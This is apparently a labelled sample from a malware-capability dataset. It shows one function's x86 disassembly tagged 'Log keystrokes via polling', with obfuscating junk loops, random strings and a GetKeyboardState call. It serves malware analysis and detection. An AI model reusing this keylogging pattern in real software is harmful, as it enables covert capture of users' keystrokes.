Function at 0x1002d24e
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, 0x1006308e
call fcn.10061f70
sub esp, 0x40
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x34], str.qqsbccz_dbw_vifp_vfhk_bie_skge_kdz_injcne_qsyghtzg_nlzjetdzs_ddpnqfb_elusa_wbbgbatbq
mov ecx, dword [edi + 0x10]
mov dword [ebp - 0x2c], 0x9a3
cmp dword [ebp - 0x2c], 0xbf0
mov dword [ebp - 0x18], ecx
jle 0x1002d2fb
xor esi, esi
mov dword [ebp - 0x24], esi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov ecx, ebx
mov dword [ebp - 0x28], esi
mov ebx, esi
xor edi, edi
shl ebx, cl
xor esi, esi
mov eax, esi
lea ecx, [ebp - 0x4c]
and eax, edi
xor eax, ebx
cdq
push edx
push eax
call fcn.10001a31
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002d2b5
mov eax, dword [eax]
push eax
call fcn.1004b2d6
pop ecx
push 0
push 1
lea ecx, [ebp - 0x4c]
call fcn.10001f3a
inc esi
cmp esi, 0x7f12
jl 0x1002d29a
inc edi
cmp edi, 0x7497
jl 0x1002d298
mov ebx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x24]
inc ebx
mov dword [ebp - 0x20], ebx
cmp ebx, 0x6f6a
jl 0x1002d28d
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x4d49
jl 0x1002d288
mov edi, dword [ebp - 0x1c]
mov eax, dword [edi + 0x10]
xor ebx, ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], ebx
cmp ebx, eax
jae 0x1002d3f0
cmp dword [edi + 0x10], ebx
ja 0x1002d31d
push str.SEnZedlXYoVmQeMFvVfXTme
call fcn.100467af
cmp dword [edi + 0x14], 0x10
jb 0x1002d327
mov eax, dword [edi]
jmp 0x1002d329
mov eax, edi
mov al, byte [eax + ebx]
mov dword [ebp - 0x24], 0x6b69
cmp dword [ebp - 0x24], 0x6c36
mov byte [ebp - 0x11], al
jle 0x1002d376
xor esi, esi
xor edi, edi
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x1007d9f8
cdq
push edx
push eax
call fcn.10001bd6
inc edi
cmp edi, 0x14f6
jl 0x1002d343
inc esi
cmp esi, 0x3b4a
jl 0x1002d341
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov edi, dword [ebp - 0x1c]
mov al, byte [ebp - 0x11]
lea edx, [ebx - 0x49]
mov cl, al
call fcn.10041259
movsx esi, al
xor edx, edx
movsx eax, byte [ebp - 0x11]
push 0x19
add eax, ebx
and dword [ebp - 4], 0
pop ecx
div ecx
mov ecx, edx
shl esi, cl
mov ecx, dword [ebp - 0x18]
add ecx, esi
cmp dword [ebp - 0x24], 0x67ee
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x30], ecx
jge 0x1002d3e3
mov edx, str.jhderovlt_rujxjvypx_bdgdiivga_xjzzgf_rgiuorb_yfqqnnsar_qiuvp_lbzecgxnw_vnsgcumj
mov ecx, 0x1007d9f8
call fcn.1000358d
jmp 0x1002d3e3
or dword [ebp - 4], 0xffffffff
inc ebx
mov eax, dword [ebp - 0x20]
jmp 0x1002d303
cmp dword [ebp - 0x2c], 0x646
jge 0x1002d402
push dword [ebp - 0x34]
call fcn.1004b2d6
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x34], 0x5137
cmp dword [ebp - 0x34], 0x5432
jle 0x1002d459
xor esi, esi
mov ebx, esi
mov dword [ebp - 0x2c], 0x753f
xor edi, edi
mov eax, ebx
mov ecx, 0x1007d9f8
and eax, edi
cdq
push edx
push eax
call fcn.10001bd6
inc edi
cmp edi, 0x800
jl 0x1002d423
dec ebx
dec dword [ebp - 0x2c]
jne 0x1002d421
inc esi
cmp esi, 0x26b7
jl 0x1002d418
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret